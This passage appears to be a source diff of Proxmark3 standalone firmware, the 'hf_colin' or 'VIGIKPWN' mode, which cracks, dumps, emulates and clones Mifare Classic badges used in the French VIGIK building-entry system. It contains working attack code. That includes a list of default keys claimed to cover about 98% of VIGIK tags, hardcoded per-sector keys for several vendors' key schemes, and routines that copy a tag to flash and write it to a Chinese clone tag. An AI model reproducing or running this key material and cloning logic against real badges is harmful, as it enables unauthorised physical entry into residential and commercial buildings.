0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76}};
*/
int total_schemas = 0;
void add_schema(MFC1KSchema *p, MFC1KSchema a, int *schemas_counter) {
if (*schemas_counter < MAX_SCHEMAS) {
p[*schemas_counter] = a;
*schemas_counter += 1;
}
}
void delete_schema(MFC1KSchema *p, int *schemas_counter, int index) {
if (*schemas_counter > 0 && index < *schemas_counter && index > -1) {
int last_index = *schemas_counter - 1;
for (int i = index; i < last_index; i++) {
p[i] = p[i + 1];
}
*schemas_counter -= 1;
}
}
void cjSetCursFRight() {
vtsend_cursor_position(NULL, 98, (currfline));
currfline++;
@ -80,59 +235,72 @@ void cjTabulize() { DbprintfEx(FLAG_RAWPRINT, "\t\t\t"); }
/*
void cjPrintKey(uint64_t key, uint8_t *foundKey, uint16_t sectorNo, uint8_t type) {
char tosendkey[13];
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4], foundKey[5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[0], foundKey[1], foundKey[2], foundKey[3], foundKey[4],
foundKey[5]); cjSetCursRight(); DbprintfEx(FLAG_NEWLINE, "SEC: %02x | KEY : %s | TYP: %d", sectorNo, tosendkey, type);
}
*/
char *ReadSchemasFromSPIFFS(char *filename) {
SpinOff(0);
int changed = rdv40_spiffs_lazy_mount();
uint32_t size = size_in_spiffs((char *)filename);
uint8_t *mem = BigBuf_malloc(size);
rdv40_spiffs_read_as_filetype((char *)filename, (uint8_t *)mem, size, RDV40_SPIFFS_SAFETY_SAFE);
if (changed) {
rdv40_spiffs_lazy_unmount();
}
SpinOff(0);
return (char *)mem;
}
void add_schemas_from_json_in_spiffs(char *filename) {
char *jsonfile = ReadSchemasFromSPIFFS((char *)filename);
int i, len = strlen(jsonfile);
struct json_token t;
for (i = 0; json_scanf_array_elem(jsonfile, len, "", i, &t) > 0; i++) {
char *tmpname;
char *tmptrigger;
MFC1KSchema tmpscheme;
json_scanf(t.ptr, t.len, "{ name:%Q, trigger:%Q, keysA:%M, keysB:%M}", &tmpname, &tmptrigger, scan_keys,
&tmpscheme.keysA, scan_keys, &tmpscheme.keysB);
memcpy(tmpscheme.name, tmpname, 32);
tmpscheme.trigger = hex2i(tmptrigger);
add_schema(Schemas, tmpscheme, &total_schemas);
DbprintfEx(FLAG_NEWLINE, "Schema loaded : %s", tmpname);
cjSetCursLeft();
}
}
void ReadLastTagFromFlash() {
SpinOff(0);
LED_A_ON();
LED_B_ON();
LED_C_ON();
LED_D_ON();
uint32_t startidx = 0;
uint16_t len = 1024;
size_t size = len;
DbprintfEx(FLAG_NEWLINE, "Button HELD ! Using LAST Known TAG for Simulation...");
cjSetCursLeft();
size_t size = len;
uint8_t *mem = BigBuf_malloc(size);
if (!FlashInit()) {
return;
}
Flash_CheckBusy(BUSY_TIMEOUT);
// this one will handle filetype (symlink or not) and resolving by itself
rdv40_spiffs_read_as_filetype((char *)HFCOLIN_LASTTAG_SYMLINK, (uint8_t *)mem, len, RDV40_SPIFFS_SAFETY_SAFE);
uint32_t start_time = GetTickCount();
uint32_t delta_time = 0;
emlSetMem(mem, 0, 64);
for (size_t i = 0; i < len; i += size) {
len = MIN((len - i), size);
uint16_t isok = Flash_ReadDataCont(startidx + i, mem, len);
if (isok == len) {
emlSetMem(mem, 0, 64);
} else {
DbprintfEx(FLAG_NEWLINE, "FlashMem reading failed | %d | %d", len, isok);
cjSetCursLeft();
FlashStop();
SpinOff(100);
return;
}
}
delta_time = GetTickCountDelta(start_time);
DbprintfEx(FLAG_NEWLINE, "[OK] Last tag recovered from FLASHMEM set to emulator");
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s[IN]%s %s%dms%s for TAG_FLASH_READ", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
cjSetCursLeft();
FlashStop();
SpinOff(0);
return;
}
void WriteTagToFlash(uint8_t index, size_t size) {
void WriteTagToFlash(uint32_t uid, size_t size) {
SpinOff(0);
LED_A_ON();
LED_B_ON();
@ -140,68 +308,37 @@ void WriteTagToFlash(uint8_t index, size_t size) {
LED_D_ON();
uint32_t len = size;
uint32_t bytes_sent = 0;
uint32_t bytes_remaining = len;
uint8_t data[(size * (16 * 64)) / 1024];
uint8_t buff[PAGESIZE];
emlGetMem(data, 0, (size * 64) / 1024);
if (!FlashInit()) {
return;
}
char dest[SPIFFS_OBJ_NAME_LEN];
uint8_t buid[4];
num_to_bytes(uid, 4, buid);
sprintf(dest, "hf_colin/mf_%02x%02x%02x%02x.bin", buid[0], buid[1], buid[2], buid[3]);
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(0, 0);
// TODO : by using safe function for multiple writes we are both breaking cache mecanisms and making useless and
// unoptimized mount operations we should manage at out level the mount status before and after the whole
// standalone mode
rdv40_spiffs_write((char *)dest, (uint8_t *)data, len, RDV40_SPIFFS_SAFETY_SAFE);
// lastag will only contain filename/path to last written tag file so we don't loose time or space.
rdv40_spiffs_make_symlink((char *)dest, (char *)HFCOLIN_LASTTAG_SYMLINK, RDV40_SPIFFS_SAFETY_SAFE);
uint32_t start_time = GetTickCount();
uint32_t delta_time = 0;
while (bytes_remaining > 0) {
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining);
memcpy(buff, data + bytes_sent, bytes_in_packet);
bytes_remaining -= bytes_in_packet;
uint16_t res = Flash_WriteDataCont(bytes_sent + (index * size), buff, bytes_in_packet);
bytes_sent += bytes_in_packet;
uint8_t isok = (res == bytes_in_packet) ? 1 : 0;
if (!isok) {
DbprintfEx(FLAG_NEWLINE, "FlashMem write FAILEd [offset %u]", bytes_sent);
cjSetCursLeft();
SpinOff(100);
return;
}
LED_A_INV();
LED_B_INV();
LED_C_INV();
LED_D_INV();
}
delta_time = GetTickCountDelta(start_time);
DbprintfEx(FLAG_NEWLINE, "[OK] TAG WRITTEN TO FLASH ! [0-to offset %u]", bytes_sent);
DbprintfEx(FLAG_NEWLINE, "[OK] TAG WRITTEN TO FLASH !");
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s[IN]%s %s%dms%s for TAG_FLASH_WRITE", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
cjSetCursLeft();
FlashStop();
SpinOff(0);
return;
}
void ModInfo(void) {
DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)");
}
void ModInfo(void) { DbpString(" HF Mifare ultra fast sniff/sim/clone - aka VIGIKPWN (Colin Brigato)"); }
void RunMod() {
StandAloneMode();
// add_schema(Schemas, Noralsy, &total_schemas);
// add_schema(Schemas, InfiHexact, &total_schemas);
// add_schema_from_json_in_spiffs((char *)HFCOLIN_URMETCAPTIVE_JSON);
// add_schema(Schemas, UrmetCaptive, &total_schemas);
FpgaDownloadAndGo(FPGA_BITSTREAM_HF);
currline = 20;
@ -210,7 +347,7 @@ void RunMod() {
memset(cjuid, 0, sizeof(cjuid));
cjcuid = 0;
uint8_t sectorsCnt = (MF1KSZ / MF1KSZSIZE);
uint64_t key64; // Defines current key
uint64_t key64; // Defines current key
uint8_t *keyBlock; // Where the keys will be held in memory.
/* VIGIK EXPIRED DUMP FOR STUDY
@ -249,15 +386,13 @@ void RunMod() {
ACCBITS : 796788[00]+VALUE
*/
//----------------------------
// Set of keys to be used.
// This should cover ~98% of
// French VIGIK system @2017
//----------------------------
//----------------------------
// Set of keys to be used.
// This should cover ~98% of
// French VIGIK system @2017
//----------------------------
#define STKEYS 37
const uint64_t mfKeys[STKEYS] = {
const uint64_t mfKeys[] = {
0xffffffffffff, // TRANSPORTS
0x000000000000, // Blankkey
0x484558414354, // INFINEONON A / 0F SEC B / INTRATONE / HEXACT...
@ -298,8 +433,8 @@ void RunMod() {
};
// Can remember something like that in case of Bigbuf
keyBlock = BigBuf_malloc(STKEYS * 6);
int mfKeysCnt = sizeof(mfKeys) / sizeof(uint64_t);
keyBlock = BigBuf_malloc(ARRAYLEN(mfKeys) * 6);
int mfKeysCnt = ARRAYLEN(mfKeys);
for (int mfKeyCounter = 0; mfKeyCounter < mfKeysCnt; mfKeyCounter++) {
num_to_bytes(mfKeys[mfKeyCounter], 6, (uint8_t *)(keyBlock + mfKeyCounter * 6));
@ -338,6 +473,8 @@ void RunMod() {
currfline = 24;
cjSetCursLeft();
add_schemas_from_json_in_spiffs((char *)HFCOLIN_SCHEMAS_JSON);
failtag:
vtsend_cursor_position_save(NULL);
@ -350,7 +487,7 @@ failtag:
SpinOff(50);
LED_A_ON();
uint8_t ticker = 0;
//while (!BUTTON_PRESS() && !iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true))
// while (!BUTTON_PRESS() && !iso14443a_select_card(cjuid, NULL, &cjcuid, true, 0, true))
while (!iso14443a_select_card(cjuid, &p_card, &cjcuid, true, 0, true)) {
WDT_HIT();
@ -381,7 +518,7 @@ failtag:
if (cjcuid == 0) {
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>%s BUG: 0000_CJCUID! Retrying...", _XRED_, _XWHITE_);
SpinErr(0, 100, 8);
SpinErr(LED_A, 100, 8);
goto failtag;
}
@ -424,7 +561,7 @@ failtag:
//-----------------------------------------------------------------------------
// also we could avoid first UID check for every block
// then lets expose this “optimal case” of “well known vigik schemes” :
// then let's expose this optimal case of well known vigik schemes :
for (uint8_t type = 0; type < 2 && !err && !trapped; type++) {
for (int sec = 0; sec < sectorsCnt && !err && !trapped; ++sec) {
key = cjat91_saMifareChkKeys(sec * 4, type, NULL, size, &keyBlock[0], &key64);
@ -432,8 +569,8 @@ failtag:
if (key == -1) {
err = 1;
allKeysFound = false;
// used in portable imlementation on microcontroller: it reports back the fail and open the standalone lock
// reply_old(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
// used in portable imlementation on microcontroller: it reports back the fail and open the
// standalone lock reply_old(CMD_CJB_FSMSTATE_MENU, 0, 0, 0, 0, 0);
break;
} else if (key == -2) {
err = 1; // Can't select card.
@ -448,10 +585,10 @@ failtag:
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %012" PRIx64 " ; TYP: %i", sec, key64, type);
/*reply_old(CMD_CJB_INFORM_CLIENT_KEY, 12, sec, type, tosendkey, 12);*/
switch (key64) {
/////////////////////////////////////////////////////////
// COMMON SCHEME 1 : INFINITRON/HEXACT
case 0x484558414354:
for (int i = 0; i < total_schemas; i++) {
if (key64 == Schemas[i].trigger) {
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
cjSetCursLeft();
@ -459,232 +596,36 @@ failtag:
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%sDetected: %s INFI_HEXACT_VIGIK_TAG%s", _XORANGE_, _XCYAN_, _XWHITE_);
DbprintfEx(FLAG_NEWLINE, "%sDetected: %s %s%s", _XORANGE_, _XCYAN_, Schemas[i].name, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_,
_XYELLOW_, _XGREEN_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
;
// Type 0 / A first
uint16_t t = 0;
for (uint16_t s = 0; s < sectorsCnt; s++) {
num_to_bytes(0x484558414354, 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1], foundKey[t][s][2],
foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
num_to_bytes(Schemas[i].keysA[s], 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1],
foundKey[t][s][2], foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
}
t = 1;
uint16_t sectorNo = 0;
num_to_bytes(0xa22ae129c013, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 1;
num_to_bytes(0x49fae4e3849f, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 2;
num_to_bytes(0x38fcf33072e0, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 3;
num_to_bytes(0x8ad5517b4b18, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 4;
num_to_bytes(0x509359f131b1, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 5;
num_to_bytes(0x6c78928e1317, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 6;
num_to_bytes(0xaa0720018738, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 7;
num_to_bytes(0xa6cac2886412, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 8;
num_to_bytes(0x62d0c424ed8e, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 9;
num_to_bytes(0xe64a986a5d94, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 10;
num_to_bytes(0x8fa1d601d0a2, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 11;
num_to_bytes(0x89347350bd36, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 12;
num_to_bytes(0x66d2b7dc39ef, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 13;
num_to_bytes(0x6bc1e1ae547d, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 14;
num_to_bytes(0x22729a9bd40f, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
sectorNo = 15;
num_to_bytes(0x484558414354, 6, foundKey[t][sectorNo]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][sectorNo][0], foundKey[t][sectorNo][1], foundKey[t][sectorNo][2],
foundKey[t][sectorNo][3], foundKey[t][sectorNo][4], foundKey[t][sectorNo][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", sectorNo, tosendkey, t);
trapped = 1;
break;
////////////////END OF SCHEME 1//////////////////////////////
///////////////////////////////////////
// COMMON SCHEME 2 : URMET CAPTIVE / COGELEC!/?
case 0x8829da9daf76:
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%sDetected :%sURMET_CAPTIVE_VIGIK_TAG%s", _XORANGE_, _XCYAN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
cjSetCursLeft();
// emlClearMem();
// A very weak one...
for (uint16_t i = 0; i < 2; i++) {
for (uint16_t s = 0; s < sectorsCnt; s++) {
num_to_bytes(key64, 6, foundKey[i][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
foundKey[i][s][0],
foundKey[i][s][1],
foundKey[i][s][2],
foundKey[i][s][3],
foundKey[i][s][4],
foundKey[i][s][5]
);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, i);
}
}
trapped = 1;
break;
////////////////END OF SCHEME 2//////////////////////////////
///////////////////////////////////////
// COMMON SCHEME 3 : NORALSY "A-LARON & B-LARON . . . NORAL-B & NORAL-A"
case 0x414c41524f4e: // Thumbs up to the guy who had the idea of such a "mnemotechnical" key pair
case 0x424c41524f4e:
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*STOP*!<<<<<<<<<<<<<<%s", _XRED_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, " .TAG SEEMS %sDETERMINISTIC%s. ", _XGREEN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s Detected :%sNORALSY_VIGIK_TAG %s", _XORANGE_, _XCYAN_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "...%s[%sKey_derivation_schemeTest%s]%s...", _XYELLOW_, _XGREEN_, _XYELLOW_, _XGREEN_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>>>>>>>>>>>!*DONE*!<<<<<<<<<<<<<<%s", _XGREEN_, _XWHITE_);
t = 0;
for (uint16_t s = 0; s < sectorsCnt; s++) {
num_to_bytes(0x414c41524f4e, 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
foundKey[t][s][0],
foundKey[t][s][1],
foundKey[t][s][2],
foundKey[t][s][3],
foundKey[t][s][4],
foundKey[t][s][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
}
t = 1;
for (uint16_t s = 0; s < sectorsCnt; s++) {
num_to_bytes(0x424c41524f4e, 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x",
foundKey[t][s][0],
foundKey[t][s][1],
foundKey[t][s][2],
foundKey[t][s][3],
foundKey[t][s][4],
foundKey[t][s][5]);
num_to_bytes(Schemas[i].keysB[s], 6, foundKey[t][s]);
sprintf(tosendkey, "%02x%02x%02x%02x%02x%02x", foundKey[t][s][0], foundKey[t][s][1],
foundKey[t][s][2], foundKey[t][s][3], foundKey[t][s][4], foundKey[t][s][5]);
cjSetCursRight();
DbprintfEx(FLAG_NEWLINE, "SEC: %02x ; KEY : %s ; TYP: %d", s, tosendkey, t);
}
trapped = 1;
break;
////////////////END OF SCHEME 3//////////////////////////////
}
}
/* etc etc for testing schemes quick schemes */
}
}
@ -695,7 +636,7 @@ failtag:
cjTabulize();
DbprintfEx(FLAG_NEWLINE, "%s[ FAIL ]%s\r\n->did not found all the keys :'(", _XRED_, _XWHITE_);
cjSetCursLeft();
SpinErr(1, 100, 8);
SpinErr(LED_B, 100, 8);
SpinOff(100);
return;
}
@ -731,7 +672,7 @@ failtag:
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "FATAL:EML_FALLBACKFILL_B");
SpinErr(2, 100, 8);
SpinErr(LED_C, 100, 8);
SpinOff(100);
return;
}
@ -740,7 +681,8 @@ failtag:
delta_time = GetTickCountDelta(start_time);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "%s>>%s Time for VIGIK break :%s%dms%s", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time, _XWHITE_);
DbprintfEx(FLAG_NEWLINE, "%s>>%s Time for VIGIK break :%s%dms%s", _XGREEN_, _XWHITE_, _XYELLOW_, delta_time,
_XWHITE_);
vtsend_cursor_position_save(NULL);
vtsend_set_attribute(NULL, 1);
@ -750,10 +692,9 @@ failtag:
cjSetCursLeft();
cjSetCursLeft();
WriteTagToFlash(0, 1024);
WriteTagToFlash(cjcuid, 1024);
readysim:
// SIM ?
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "-> We launch Emulation ->");
@ -762,8 +703,9 @@ readysim:
DbprintfEx(FLAG_NEWLINE, "%s!> HOLD ON : %s When you'll click, simm will stop", _XRED_, _XWHITE_);
cjSetCursLeft();
DbprintfEx(FLAG_NEWLINE, "Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _XRED_, _XWHITE_, _XYELLOW_, _XWHITE_,
_XCYAN_, _XWHITE_);
DbprintfEx(FLAG_NEWLINE,
"Then %s immediately %s we'll try to %s dump our emulator state%s \r\nin a %s chinese tag%s", _XRED_,
_XWHITE_, _XYELLOW_, _XWHITE_, _XCYAN_, _XWHITE_);
cjSetCursLeft();
cjSetCursLeft();
@ -775,19 +717,39 @@ readysim:
SpinOff(100);
LED_C_ON();
uint16_t flags;
switch (p_card.uidlen) {
DBGLEVEL = DBG_NONE;
//uint16_t flags=0;
/*switch (p_card.uidlen) {
case 10:
flags = FLAG_10B_UID_IN_DATA;
break;
case 7:
flags = FLAG_7B_UID_IN_DATA;
break;
default:
case 4:
flags = FLAG_4B_UID_IN_DATA;
break;
}
Mifare1ksim(flags | FLAG_MF_1K, 0, cjuid);
default:
flags = FLAG_UID_IN_EMUL;
break;
}*/
// Use UID, SAK, ATQA from EMUL, if uid not defined
// if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) {
//flags |= FLAG_UID_IN_EMUL;
//}
//flags |= FLAG_MF_1K;
//if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) == 0) {
// flags |= FLAG_UID_IN_EMUL;
//}
//flags = 0x10;
uint16_t flags = 0;
flags = 16;
DbprintfEx(FLAG_NEWLINE, "\n\n\n\n\n\n\n\nn\n\nn\n\n\nflags: %d (0x%02x)", flags, flags);
cjSetCursLeft();
SpinOff(1000);
Mifare1ksim(flags, 0, cjuid, 0, 0);
LED_C_OFF();
SpinOff(50);
vtsend_cursor_position_restore(NULL);
@ -816,7 +778,7 @@ readysim:
DbprintfEx(FLAG_NEWLINE, "- [ LA FIN ] -\r\n%s`-> You can take shell back :) ...", _XWHITE_);
cjSetCursLeft();
vtsend_set_attribute(NULL, 0);
SpinErr(3, 100, 16);
SpinErr(LED_D, 100, 16);
SpinDown(75);
SpinOff(100);
return;
@ -895,16 +857,17 @@ int e_MifareECardLoad(uint32_t numofsectors, uint8_t keytype) {
DbprintfEx(FLAG_NEWLINE, "Halt error");
};
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return (isOK) ? PM3_SUCCESS : PM3_EUNDEF;
}
/* the chk function is a piwied(tm) check that will try all keys for
/* the chk function is a piwi'ed(tm) check that will try all keys for
a particular sector. also no tracing no dbg */
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain, uint64_t *key) {
int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, uint8_t keyCount, uint8_t *datain,
uint64_t *key) {
DBGLEVEL = DBG_NONE;
iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN);
set_tracing(false);
@ -931,12 +894,12 @@ int cjat91_saMifareChkKeys(uint8_t blockNo, uint8_t keyType, bool clearTrace, ui
SpinDelayUs(AUTHENTICATION_TIMEOUT);
continue;
}
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
*key = ui64Key;
return i;
}
crypto1_destroy(pcs);
crypto1_deinit(pcs);
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
return -1;
@ -1009,6 +972,7 @@ void saMifareMakeTag(void) {
}
}
// TODO : make this work either for a Gen1a or for a block 0 direct write all transparently
//-----------------------------------------------------------------------------
// Matt's StandAlone mod.
